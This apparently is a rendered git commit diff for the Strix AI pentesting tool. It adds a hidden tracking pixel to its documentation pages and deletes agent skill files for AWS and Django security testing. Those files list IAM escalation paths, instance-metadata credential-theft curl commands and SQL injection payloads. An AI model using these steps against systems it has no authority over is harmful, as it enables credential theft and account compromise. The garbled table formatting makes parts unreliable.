Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 870cc68dc3 | |||
| 1099eefedd |
@@ -275,3 +275,5 @@ Strix builds on the incredible work of open-source projects like [LiteLLM](https
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> Only test apps you own or have permission to test. You are responsible for using Strix ethically and legally.
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> Only test apps you own or have permission to test. You are responsible for using Strix ethically and legally.
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</div>
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</div>
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@@ -3,6 +3,10 @@ title: "Configuration"
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description: "Environment variables for Strix"
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description: "Environment variables for Strix"
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---
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---
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import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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<ScarfPixel />
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Configure Strix using environment variables or a config file.
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Configure Strix using environment variables or a config file.
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## LLM Configuration
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## LLM Configuration
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@@ -3,6 +3,10 @@ title: "Skills"
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description: "Specialized knowledge packages that enhance agent capabilities"
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description: "Specialized knowledge packages that enhance agent capabilities"
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---
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---
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import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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<ScarfPixel />
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Skills are structured knowledge packages that give Strix agents deep expertise in specific vulnerability types, technologies, and testing methodologies.
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Skills are structured knowledge packages that give Strix agents deep expertise in specific vulnerability types, technologies, and testing methodologies.
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## The Idea
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## The Idea
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@@ -3,6 +3,10 @@ title: "Introduction"
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description: "Managed security testing without local setup"
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description: "Managed security testing without local setup"
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---
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---
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import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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<ScarfPixel />
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Skip the setup. Run Strix in the cloud at [app.strix.ai](https://app.strix.ai).
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Skip the setup. Run Strix in the cloud at [app.strix.ai](https://app.strix.ai).
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## Features
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## Features
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@@ -3,6 +3,10 @@ title: "Contributing"
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description: "Contribute to Strix development"
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description: "Contribute to Strix development"
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---
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---
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import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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<ScarfPixel />
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## Development Setup
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## Development Setup
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### Prerequisites
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### Prerequisites
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@@ -3,6 +3,10 @@ title: "Introduction"
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description: "Open-source AI hackers to secure your apps"
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description: "Open-source AI hackers to secure your apps"
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---
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---
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import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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<ScarfPixel />
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Strix are autonomous AI agents that act like real hackers—they run your code dynamically, find vulnerabilities, and validate them with proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
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Strix are autonomous AI agents that act like real hackers—they run your code dynamically, find vulnerabilities, and validate them with proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
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<Frame>
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<Frame>
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@@ -3,6 +3,10 @@ title: "CI/CD Integration"
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description: "Run Strix in any CI/CD pipeline"
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description: "Run Strix in any CI/CD pipeline"
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---
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---
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import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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<ScarfPixel />
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Strix runs in headless mode for automated pipelines.
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Strix runs in headless mode for automated pipelines.
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## Headless Mode
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## Headless Mode
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@@ -3,6 +3,10 @@ title: "GitHub Actions"
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description: "Run Strix security scans on every pull request"
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description: "Run Strix security scans on every pull request"
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---
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---
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|
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|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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<ScarfPixel />
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Integrate Strix into your GitHub workflow to catch vulnerabilities before they reach production.
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Integrate Strix into your GitHub workflow to catch vulnerabilities before they reach production.
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## Basic Workflow
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## Basic Workflow
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@@ -3,6 +3,10 @@ title: "Anthropic"
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description: "Configure Strix with Claude models"
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description: "Configure Strix with Claude models"
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||||||
---
|
---
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||||||
|
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||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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||||||
|
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||||||
|
<ScarfPixel />
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||||||
|
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||||||
## Setup
|
## Setup
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||||||
|
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||||||
```bash
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```bash
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@@ -3,6 +3,10 @@ title: "Azure OpenAI"
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description: "Configure Strix with OpenAI models via Azure"
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description: "Configure Strix with OpenAI models via Azure"
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||||||
---
|
---
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||||||
|
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||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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||||||
|
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||||||
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<ScarfPixel />
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||||||
|
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## Setup
|
## Setup
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||||||
|
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```bash
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```bash
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@@ -3,6 +3,10 @@ title: "AWS Bedrock"
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description: "Configure Strix with models via AWS Bedrock"
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description: "Configure Strix with models via AWS Bedrock"
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---
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---
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|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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|
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||||||
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<ScarfPixel />
|
||||||
|
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## Setup
|
## Setup
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|
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```bash
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```bash
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@@ -3,6 +3,10 @@ title: "Local Models"
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description: "Run Strix with self-hosted LLMs for privacy and air-gapped testing"
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description: "Run Strix with self-hosted LLMs for privacy and air-gapped testing"
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---
|
---
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||||||
|
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||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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|
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||||||
|
<ScarfPixel />
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||||||
|
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Running Strix with local models allows for completely offline, privacy-first security assessments. Data never leaves your machine, making this ideal for sensitive internal networks or air-gapped environments.
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Running Strix with local models allows for completely offline, privacy-first security assessments. Data never leaves your machine, making this ideal for sensitive internal networks or air-gapped environments.
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## Privacy vs Performance
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## Privacy vs Performance
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@@ -3,6 +3,10 @@ title: "Novita AI"
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description: "Configure Strix with Novita AI models"
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description: "Configure Strix with Novita AI models"
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||||||
---
|
---
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||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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<ScarfPixel />
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||||||
|
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[Novita AI](https://novita.ai) provides fast, cost-efficient inference for open-source models via an OpenAI-compatible API.
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[Novita AI](https://novita.ai) provides fast, cost-efficient inference for open-source models via an OpenAI-compatible API.
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|
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## Setup
|
## Setup
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||||||
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@@ -3,6 +3,10 @@ title: "OpenAI"
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|||||||
description: "Configure Strix with OpenAI models"
|
description: "Configure Strix with OpenAI models"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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||||||
|
|
||||||
|
<ScarfPixel />
|
||||||
|
|
||||||
## Setup
|
## Setup
|
||||||
|
|
||||||
```bash
|
```bash
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@@ -3,6 +3,10 @@ title: "OpenRouter"
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|||||||
description: "Configure Strix with models via OpenRouter"
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description: "Configure Strix with models via OpenRouter"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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||||||
|
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||||||
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<ScarfPixel />
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||||||
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||||||
[OpenRouter](https://openrouter.ai) provides access to 100+ models from multiple providers through a single API.
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[OpenRouter](https://openrouter.ai) provides access to 100+ models from multiple providers through a single API.
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|
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## Setup
|
## Setup
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||||||
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@@ -3,6 +3,10 @@ title: "Overview"
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|||||||
description: "Configure your AI model for Strix"
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description: "Configure your AI model for Strix"
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||||||
---
|
---
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||||||
|
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||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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||||||
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<ScarfPixel />
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||||||
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||||||
Strix uses [LiteLLM](https://docs.litellm.ai/docs/providers) for model compatibility, supporting 100+ LLM providers.
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Strix uses [LiteLLM](https://docs.litellm.ai/docs/providers) for model compatibility, supporting 100+ LLM providers.
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## Configuration
|
## Configuration
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||||||
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|||||||
@@ -3,6 +3,10 @@ title: "Google Vertex AI"
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|||||||
description: "Configure Strix with Gemini models via Google Cloud"
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description: "Configure Strix with Gemini models via Google Cloud"
|
||||||
---
|
---
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||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
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||||||
|
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||||||
|
<ScarfPixel />
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||||||
|
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||||||
## Installation
|
## Installation
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||||||
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||||||
Vertex AI requires the Google Cloud dependency. Install Strix with the vertex extra:
|
Vertex AI requires the Google Cloud dependency. Install Strix with the vertex extra:
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||||||
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|||||||
@@ -3,6 +3,10 @@ title: "Quick Start"
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|||||||
description: "Install Strix and run your first security scan"
|
description: "Install Strix and run your first security scan"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
|
||||||
|
|
||||||
|
<ScarfPixel />
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
|
|
||||||
- Docker (running)
|
- Docker (running)
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||||||
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|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
export const ScarfPixel = () => (
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|
<img
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||||||
|
referrerPolicy="no-referrer-when-downgrade"
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||||||
|
src="https://static.scarf.sh/a.png?x-pxid=a0ba15dd-a205-4a54-95d6-7814e9ae6b61"
|
||||||
|
alt=""
|
||||||
|
width="1"
|
||||||
|
height="1"
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||||||
|
style={{ position: "absolute", width: 0, height: 0, opacity: 0, pointerEvents: "none" }}
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||||||
|
/>
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||||||
|
);
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
agentic
|
||||||
|
Caido
|
||||||
|
deobfuscation
|
||||||
|
deserialization
|
||||||
|
Devstral
|
||||||
|
[Dd]ocstrings
|
||||||
|
exfiltration
|
||||||
|
failover
|
||||||
|
ffuf
|
||||||
|
Firestore
|
||||||
|
frontmatter
|
||||||
|
fuzzer
|
||||||
|
gcloud
|
||||||
|
hardcoded
|
||||||
|
Kimi
|
||||||
|
Langfuse
|
||||||
|
LLMs?
|
||||||
|
[Mm]isconfigurations?
|
||||||
|
Novita
|
||||||
|
Ollama
|
||||||
|
pentest(ers|ing)?
|
||||||
|
pipx
|
||||||
|
pull_request
|
||||||
|
Pydantic
|
||||||
|
spidering
|
||||||
|
SQLi
|
||||||
|
[Ss]trix
|
||||||
|
Supabase
|
||||||
|
traceback
|
||||||
|
UIs
|
||||||
|
untrusted
|
||||||
|
uv
|
||||||
|
vulns
|
||||||
|
[Ww]ordlist
|
||||||
@@ -3,6 +3,10 @@ title: "Browser"
|
|||||||
description: "Playwright-powered Chrome for web application testing"
|
description: "Playwright-powered Chrome for web application testing"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
|
||||||
|
|
||||||
|
<ScarfPixel />
|
||||||
|
|
||||||
Strix uses a headless Chrome browser via Playwright to interact with web applications exactly like a real user would.
|
Strix uses a headless Chrome browser via Playwright to interact with web applications exactly like a real user would.
|
||||||
|
|
||||||
## How It Works
|
## How It Works
|
||||||
|
|||||||
@@ -3,6 +3,10 @@ title: "Agent Tools"
|
|||||||
description: "How Strix agents interact with targets"
|
description: "How Strix agents interact with targets"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
|
||||||
|
|
||||||
|
<ScarfPixel />
|
||||||
|
|
||||||
Strix agents use specialized tools to test your applications like a real penetration tester would.
|
Strix agents use specialized tools to test your applications like a real penetration tester would.
|
||||||
|
|
||||||
## Core Tools
|
## Core Tools
|
||||||
|
|||||||
@@ -3,6 +3,10 @@ title: "HTTP Proxy"
|
|||||||
description: "Caido-powered proxy for request interception and replay"
|
description: "Caido-powered proxy for request interception and replay"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
|
||||||
|
|
||||||
|
<ScarfPixel />
|
||||||
|
|
||||||
Strix includes [Caido](https://caido.io), a modern HTTP proxy built for security testing. All browser traffic flows through Caido, giving the agent full control over requests and responses.
|
Strix includes [Caido](https://caido.io), a modern HTTP proxy built for security testing. All browser traffic flows through Caido, giving the agent full control over requests and responses.
|
||||||
|
|
||||||
## Capabilities
|
## Capabilities
|
||||||
|
|||||||
@@ -3,6 +3,10 @@ title: "Sandbox Tools"
|
|||||||
description: "Pre-installed security tools in the Strix container"
|
description: "Pre-installed security tools in the Strix container"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
|
||||||
|
|
||||||
|
<ScarfPixel />
|
||||||
|
|
||||||
Strix runs inside a Kali Linux-based Docker container with a comprehensive set of security tools pre-installed. The agent can use any of these tools through the [terminal](/tools/terminal).
|
Strix runs inside a Kali Linux-based Docker container with a comprehensive set of security tools pre-installed. The agent can use any of these tools through the [terminal](/tools/terminal).
|
||||||
|
|
||||||
## Reconnaissance
|
## Reconnaissance
|
||||||
|
|||||||
@@ -3,6 +3,10 @@ title: "Terminal"
|
|||||||
description: "Bash shell for running commands and security tools"
|
description: "Bash shell for running commands and security tools"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
|
||||||
|
|
||||||
|
<ScarfPixel />
|
||||||
|
|
||||||
Strix has access to a persistent bash terminal running inside the Docker sandbox. This gives the agent access to all [pre-installed security tools](/tools/sandbox).
|
Strix has access to a persistent bash terminal running inside the Docker sandbox. This gives the agent access to all [pre-installed security tools](/tools/sandbox).
|
||||||
|
|
||||||
## Capabilities
|
## Capabilities
|
||||||
|
|||||||
@@ -3,6 +3,10 @@ title: "CLI Reference"
|
|||||||
description: "Command-line options for Strix"
|
description: "Command-line options for Strix"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
|
||||||
|
|
||||||
|
<ScarfPixel />
|
||||||
|
|
||||||
## Basic Usage
|
## Basic Usage
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
@@ -3,6 +3,10 @@ title: "Custom Instructions"
|
|||||||
description: "Guide Strix with custom testing instructions"
|
description: "Guide Strix with custom testing instructions"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
|
||||||
|
|
||||||
|
<ScarfPixel />
|
||||||
|
|
||||||
Use instructions to provide context, credentials, or focus areas for your scan.
|
Use instructions to provide context, credentials, or focus areas for your scan.
|
||||||
|
|
||||||
## Inline Instructions
|
## Inline Instructions
|
||||||
|
|||||||
@@ -3,6 +3,10 @@ title: "Scan Modes"
|
|||||||
description: "Choose the right scan depth for your use case"
|
description: "Choose the right scan depth for your use case"
|
||||||
---
|
---
|
||||||
|
|
||||||
|
import { ScarfPixel } from "/snippets/scarf-pixel.mdx";
|
||||||
|
|
||||||
|
<ScarfPixel />
|
||||||
|
|
||||||
Strix offers three scan modes to balance speed and thoroughness.
|
Strix offers three scan modes to balance speed and thoroughness.
|
||||||
|
|
||||||
## Quick
|
## Quick
|
||||||
|
|||||||
@@ -1,231 +0,0 @@
|
|||||||
---
|
|
||||||
name: aws
|
|
||||||
description: AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
|
|
||||||
---
|
|
||||||
|
|
||||||
# AWS Cloud Security
|
|
||||||
|
|
||||||
AWS misconfigurations frequently expose credentials, data, and lateral movement paths. This skill covers direct AWS API testing and post-compromise enumeration from EC2/Lambda/container workloads. For SSRF-mediated metadata access, combine with the ssrf skill.
|
|
||||||
|
|
||||||
## Attack Surface
|
|
||||||
|
|
||||||
**Identity**
|
|
||||||
- IAM users, roles, groups, policies (inline and managed)
|
|
||||||
- Access keys, session tokens, SSO/SAML federation
|
|
||||||
- Cross-account roles, trust policies, permission boundaries
|
|
||||||
|
|
||||||
**Storage & Data**
|
|
||||||
- S3 buckets, objects, bucket policies, ACLs, Block Public Access settings
|
|
||||||
- EBS snapshots, RDS snapshots, AMIs shared publicly
|
|
||||||
- Secrets Manager, SSM Parameter Store, KMS keys
|
|
||||||
|
|
||||||
**Compute**
|
|
||||||
- EC2 instances, Lambda functions, ECS/EKS tasks
|
|
||||||
- Instance metadata service (IMDSv1/v2) at `169.254.169.254`
|
|
||||||
- User data, launch templates, AMIs
|
|
||||||
|
|
||||||
**Network**
|
|
||||||
- Security groups, NACLs, VPC endpoints, public subnets
|
|
||||||
- ELB/ALB/CloudFront misconfigurations
|
|
||||||
|
|
||||||
**Management**
|
|
||||||
- CloudTrail, Config, GuardDuty gaps
|
|
||||||
- Cognito user pools, API Gateway, AppSync
|
|
||||||
|
|
||||||
## Reconnaissance
|
|
||||||
|
|
||||||
**Credential Discovery**
|
|
||||||
- Environment variables: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`
|
|
||||||
- `~/.aws/credentials`, `~/.aws/config`, CI/CD env vars, `.env` files
|
|
||||||
- Hardcoded keys in source, mobile apps, JavaScript bundles
|
|
||||||
|
|
||||||
**Unauthenticated Enumeration**
|
|
||||||
|
|
||||||
Use two separate checks — they answer different questions and must not be conflated:
|
|
||||||
|
|
||||||
**1. Bucket existence (does the name resolve?)**
|
|
||||||
|
|
||||||
Goal: learn whether a bucket name exists in AWS, without needing `s3:ListBucket`.
|
|
||||||
- `head-bucket` or `curl -I` HTTP status is the signal — not `aws s3 ls`.
|
|
||||||
- `403 Forbidden` → bucket exists but you lack access (private or wrong account).
|
|
||||||
- `404 Not Found` → bucket does not exist in that region, or name is wrong.
|
|
||||||
|
|
||||||
```
|
|
||||||
aws s3api head-bucket --bucket target-bucket --no-sign-request 2>&1
|
|
||||||
curl -I https://target-bucket.s3.amazonaws.com/
|
|
||||||
```
|
|
||||||
|
|
||||||
**2. Public listing (is ListBucket granted to anonymous users?)**
|
|
||||||
|
|
||||||
Goal: confirm `s3:ListBucket` is publicly granted — a separate and stronger finding than existence alone.
|
|
||||||
- Only run `aws s3 ls` for this step; a successful listing returns object keys/prefixes.
|
|
||||||
- Failure here does not disprove existence (a private bucket still returns 403 on list).
|
|
||||||
|
|
||||||
```
|
|
||||||
aws s3 ls s3://target-bucket --no-sign-request
|
|
||||||
```
|
|
||||||
|
|
||||||
**Authenticated Enumeration (with any credentials)**
|
|
||||||
```
|
|
||||||
aws sts get-caller-identity
|
|
||||||
aws iam get-account-authorization-details 2>/dev/null
|
|
||||||
aws iam list-users
|
|
||||||
aws iam list-roles
|
|
||||||
aws iam list-attached-user-policies --user-name <user>
|
|
||||||
aws s3 ls
|
|
||||||
aws ec2 describe-instances
|
|
||||||
```
|
|
||||||
|
|
||||||
## Key Vulnerabilities
|
|
||||||
|
|
||||||
### S3 Misconfigurations
|
|
||||||
|
|
||||||
- Public read/write buckets (ACL `public-read`, policy `"Principal":"*"`)
|
|
||||||
- AuthenticatedUsers group grants (`http://acs.amazonaws.com/groups/global/AuthenticatedUsers`)
|
|
||||||
- ListBucket enabled publicly → object key enumeration
|
|
||||||
- Sensitive object keys guessable: `backup/`, `db/`, `.env`, `config/`, `logs/`
|
|
||||||
|
|
||||||
**Test:**
|
|
||||||
```
|
|
||||||
aws s3 ls s3://BUCKET --no-sign-request
|
|
||||||
aws s3 cp s3://BUCKET/sensitive-file . --no-sign-request
|
|
||||||
curl https://BUCKET.s3.amazonaws.com/
|
|
||||||
```
|
|
||||||
|
|
||||||
### IAM Privilege Escalation
|
|
||||||
|
|
||||||
Common escalation paths (verify with `aws iam simulate-principal-policy` when possible):
|
|
||||||
|
|
||||||
| Permission | Escalation |
|
|
||||||
|------------|------------|
|
|
||||||
| `iam:CreatePolicyVersion` | Attach admin policy version to self |
|
|
||||||
| `iam:SetDefaultPolicyVersion` | Roll back to older permissive policy version |
|
|
||||||
| `iam:PassRole` + `lambda:CreateFunction` | Create Lambda with admin role, invoke |
|
|
||||||
| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with instance profile |
|
|
||||||
| `sts:AssumeRole` on overprivileged role | Cross-account or same-account pivot |
|
|
||||||
| `iam:UpdateAssumeRolePolicy` | Add self to trust policy of privileged role |
|
|
||||||
| `iam:AttachUserPolicy` / `PutUserPolicy` | Self-grant admin |
|
|
||||||
|
|
||||||
**Test:**
|
|
||||||
```
|
|
||||||
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
|
|
||||||
aws iam simulate-principal-policy --policy-source-arn <arn> --action-names iam:CreateAccessKey --resource-arns "*"
|
|
||||||
```
|
|
||||||
|
|
||||||
### Instance Metadata Abuse
|
|
||||||
|
|
||||||
**IMDSv1 (no token required)**
|
|
||||||
```
|
|
||||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
||||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
|
|
||||||
curl http://169.254.169.254/latest/user-data
|
|
||||||
```
|
|
||||||
|
|
||||||
**IMDSv2 bypass contexts**
|
|
||||||
- SSRF with header injection if server forwards `X-aws-ec2-metadata-token`
|
|
||||||
- Container sidecars without hop limit enforcement
|
|
||||||
- Misconfigured proxies allowing link-local access
|
|
||||||
|
|
||||||
### Snapshot and Backup Exposure
|
|
||||||
|
|
||||||
- Public EBS/RDS snapshots: `aws ec2 describe-snapshots --restorable-by-user-names all`
|
|
||||||
- AMIs with `Public` launch permission containing secrets or keys
|
|
||||||
- Backup vaults cross-account without proper isolation
|
|
||||||
|
|
||||||
### Lambda and Serverless
|
|
||||||
|
|
||||||
- Overprivileged execution roles (`AdministratorAccess` on Lambda role)
|
|
||||||
- Environment variables containing secrets (visible via `lambda:GetFunctionConfiguration`)
|
|
||||||
- Function URLs or API Gateway without auth
|
|
||||||
- Event source mappings triggering on attacker-controlled events
|
|
||||||
|
|
||||||
### Cognito Misconfigurations
|
|
||||||
|
|
||||||
- Self-signup enabled with elevated default group membership
|
|
||||||
- Missing app client secret on confidential flows
|
|
||||||
- Custom attribute write permissions allowing privilege fields (`custom:role`, `custom:admin`)
|
|
||||||
- ID token custom claims trusted by backend without verification
|
|
||||||
|
|
||||||
### KMS and Secrets
|
|
||||||
|
|
||||||
- KMS key policies allowing `Principal: *` or overly broad accounts
|
|
||||||
- Secrets Manager secrets readable by unintended roles
|
|
||||||
- SSM parameters under `/` with `GetParameter` for unauthenticated or low-priv callers
|
|
||||||
|
|
||||||
## Advanced Techniques
|
|
||||||
|
|
||||||
**Cross-Account Role Assumption**
|
|
||||||
- Find roles trusting `*` or external accounts broadly
|
|
||||||
- Confused deputy: service assumes role without external ID validation
|
|
||||||
|
|
||||||
**CloudFront Origin Exposure**
|
|
||||||
- Origin pointing directly to S3 website or ALB bypassing WAF
|
|
||||||
- Signed URL/cookie misconfiguration allowing object access
|
|
||||||
|
|
||||||
**Resource-Based Policy Gaps**
|
|
||||||
- S3 bucket policy allowing `s3:GetObject` from unintended principals
|
|
||||||
- Lambda resource policy `Principal: *` with weak condition keys
|
|
||||||
|
|
||||||
## Testing Methodology
|
|
||||||
|
|
||||||
1. **Discover credentials** — Keys in code, env, metadata, or SSRF
|
|
||||||
2. **Identify principal** — `get-caller-identity`, map effective permissions
|
|
||||||
3. **Enumerate resources** — S3, EC2, IAM, Lambda within policy bounds
|
|
||||||
4. **Escalation paths** — Run escalation checklist against attached policies
|
|
||||||
5. **Data exposure** — Public buckets, snapshots, secrets, user-data scripts
|
|
||||||
6. **Persistence** — New access keys, backdoor roles, Lambda triggers (only in authorized scope)
|
|
||||||
|
|
||||||
## Validation
|
|
||||||
|
|
||||||
1. Demonstrate unauthorized read/write of S3 objects or snapshots with evidence (object keys, ETags)
|
|
||||||
2. Show IAM escalation from low-priv to higher-priv with exact API calls and resulting permissions
|
|
||||||
3. Prove metadata credential theft path (SSRF or IMDS) with redacted temporary credentials scope
|
|
||||||
4. Document resource ARN, policy statement, and misconfiguration root cause
|
|
||||||
5. Confirm fix would block the specific principal/action/resource combination
|
|
||||||
|
|
||||||
## False Positives
|
|
||||||
|
|
||||||
- Intentionally public static assets bucket with no sensitive keys
|
|
||||||
- Read-only `s3:ListBucket` on empty marketing bucket
|
|
||||||
- Metadata endpoint unreachable from tested context (no SSRF, IMDSv2 enforced with hop limit)
|
|
||||||
- Simulated escalation blocked by permission boundary or SCP
|
|
||||||
- 403 on S3 that indicates existence but not readable content (still note for recon, not data breach)
|
|
||||||
|
|
||||||
## Impact
|
|
||||||
|
|
||||||
- Mass data exfiltration from S3/RDS/snapshots
|
|
||||||
- Full account or organization compromise via IAM escalation
|
|
||||||
- Persistent backdoor access through new keys or roles
|
|
||||||
- Regulatory exposure (PII/PCI in unencrypted public buckets)
|
|
||||||
|
|
||||||
## Pro Tips
|
|
||||||
|
|
||||||
1. Always run `get-caller-identity` first to know your effective principal
|
|
||||||
2. Distinguish 403 vs 404 on S3 — both are useful, mean different things
|
|
||||||
3. Check instance profile role, not just user credentials, from metadata
|
|
||||||
4. Review trust policies on roles, not just permission policies
|
|
||||||
5. Combine with subdomain takeover — dangling S3 bucket names in DNS CNAMEs
|
|
||||||
|
|
||||||
## Tooling
|
|
||||||
|
|
||||||
Prefer credential-light, install-once CLIs. The sandbox has `awscli`/`python`/`pipx`/`go` and build-time egress.
|
|
||||||
|
|
||||||
- **awscli** — the primary enumeration tool (used throughout this skill). Always start with `aws sts get-caller-identity`.
|
|
||||||
- **enumerate-iam** (andresriancho) — tiny script that brute-forces which API calls a set of keys can make when you can't read your own policy:
|
|
||||||
```
|
|
||||||
git clone https://github.com/andresriancho/enumerate-iam && cd enumerate-iam
|
|
||||||
pip install -r requirements.txt
|
|
||||||
python enumerate-iam.py --access-key AKIA... --secret-key ...
|
|
||||||
```
|
|
||||||
- **cloudsplaining** (Salesforce) — offline IAM policy risk analysis; finds privilege-escalation/resource-exposure in the auth-details JSON:
|
|
||||||
```
|
|
||||||
pipx install cloudsplaining
|
|
||||||
aws iam get-account-authorization-details > auth.json
|
|
||||||
cloudsplaining scan --input-file auth.json
|
|
||||||
```
|
|
||||||
- **CloudFox** (BishopFox) — single Go binary for fast post-compromise inventory and "what can I do from here" surfacing: `cloudfox aws --profile <profile> all-checks`
|
|
||||||
- **Pacu** (Rhino Security Labs) — the standard AWS exploitation framework; heavier, but its `iam__privesc_scan` module automates the escalation table above. Use for a full exploitation session (`run iam__enum_permissions`, then `run iam__privesc_scan`).
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
AWS security requires least-privilege IAM, blocked public data paths, IMDSv2 with hop limits, and tight resource policies. Enumerate from any credential found — even limited read access often reveals escalation chains.
|
|
||||||
@@ -1,214 +0,0 @@
|
|||||||
---
|
|
||||||
name: django
|
|
||||||
description: Security testing playbook for Django applications covering ORM injection, middleware gaps, auth/session flaws, and template issues
|
|
||||||
---
|
|
||||||
|
|
||||||
# Django
|
|
||||||
|
|
||||||
Security testing for Django web applications and Django REST Framework (DRF) APIs. Focus on ORM/raw query misuse, middleware ordering, permission class gaps, and session/auth configuration across views, admin, and channels.
|
|
||||||
|
|
||||||
## Attack Surface
|
|
||||||
|
|
||||||
**Core Components**
|
|
||||||
- URL routing (`urls.py`), class-based and function views, middleware stack
|
|
||||||
- ORM (QuerySet filters), raw SQL, `extra()`, `RawSQL`, annotations
|
|
||||||
- Templates (Django template language, Jinja2 if configured)
|
|
||||||
- Forms, ModelForms, serializers (DRF)
|
|
||||||
|
|
||||||
**Authentication**
|
|
||||||
- Session framework, `AuthenticationMiddleware`, `@login_required`, DRF `permission_classes`
|
|
||||||
- Token auth, JWT (djangorestframework-simplejwt), OAuth integrations
|
|
||||||
- Django admin (`/admin/`), staff/superuser flags
|
|
||||||
|
|
||||||
**Deployment**
|
|
||||||
- `DEBUG=True` exposure, `ALLOWED_HOSTS`, `SECRET_KEY` leakage
|
|
||||||
- Static/media serving, reverse proxies, ASGI (Channels, Daphne, Uvicorn)
|
|
||||||
|
|
||||||
## High-Value Targets
|
|
||||||
|
|
||||||
- `/admin/` — brute force, credential stuffing, IDOR on admin objects
|
|
||||||
- API endpoints with mixed permission classes across ViewSets
|
|
||||||
- File upload (`FileField`, `ImageField`), import/export (django-import-export)
|
|
||||||
- Search/filter endpoints using `filter()`, `Q` objects, or raw SQL
|
|
||||||
- Password reset, email verification, invitation tokens
|
|
||||||
- WebSocket consumers (Django Channels) with weaker auth than HTTP equivalents
|
|
||||||
- Celery task triggers accepting user IDs without ownership checks
|
|
||||||
|
|
||||||
## Reconnaissance
|
|
||||||
|
|
||||||
**Fingerprinting**
|
|
||||||
```
|
|
||||||
curl -I https://target/ -H "Cookie: sessionid=test"
|
|
||||||
# X-Frame-Options, Set-Cookie (sessionid, csrftoken), Server header
|
|
||||||
GET /admin/login/
|
|
||||||
GET /api/ /api/v1/ /swagger/ /api/schema/
|
|
||||||
```
|
|
||||||
|
|
||||||
**Settings Leakage (when DEBUG=True or misconfigured)**
|
|
||||||
- Yellow debug page exposes `SECRET_KEY`, database credentials, installed apps
|
|
||||||
- `/static/`, error pages with stack traces revealing paths and ORM queries
|
|
||||||
|
|
||||||
**OpenAPI / DRF**
|
|
||||||
```
|
|
||||||
GET /api/schema/
|
|
||||||
GET /swagger.json
|
|
||||||
```
|
|
||||||
Map endpoints, authentication classes, and permission classes per route.
|
|
||||||
|
|
||||||
## Key Vulnerabilities
|
|
||||||
|
|
||||||
### Authentication & Authorization
|
|
||||||
|
|
||||||
**Permission Class Gaps**
|
|
||||||
- ViewSet with `list` protected but `retrieve`/`update` missing `permission_classes`
|
|
||||||
- Custom permissions checking authentication but not object ownership (IDOR)
|
|
||||||
- `@api_view` without explicit permissions inheriting permissive defaults
|
|
||||||
- Admin actions or custom management commands without staff checks
|
|
||||||
|
|
||||||
**Session Issues**
|
|
||||||
- `SESSION_COOKIE_SECURE=False` on HTTPS sites; missing `HttpOnly`
|
|
||||||
- Session fixation if session key not rotated on login
|
|
||||||
- Weak or leaked `SECRET_KEY` → forge session cookies (`django.contrib.sessions.backends.signed_cookies`)
|
|
||||||
|
|
||||||
**JWT (simplejwt)**
|
|
||||||
- RS256→HS256 confusion if algorithm pinning is misconfigured
|
|
||||||
- Missing `user_id`/`token` blacklist on logout
|
|
||||||
- Refresh token rotation not enforced
|
|
||||||
|
|
||||||
### Injection
|
|
||||||
|
|
||||||
**ORM SQL Injection**
|
|
||||||
Vulnerable patterns (more common in legacy code):
|
|
||||||
```python
|
|
||||||
User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{user_input}'")
|
|
||||||
User.objects.extra(where=[f"username = '{user_input}'"])
|
|
||||||
```
|
|
||||||
Test: `' OR 1=1 --`, time-based payloads, database-specific syntax.
|
|
||||||
|
|
||||||
**DRF Filter Backends**
|
|
||||||
- `django-filter` with unsafe field exposure: `?username__icontains=` on unintended columns
|
|
||||||
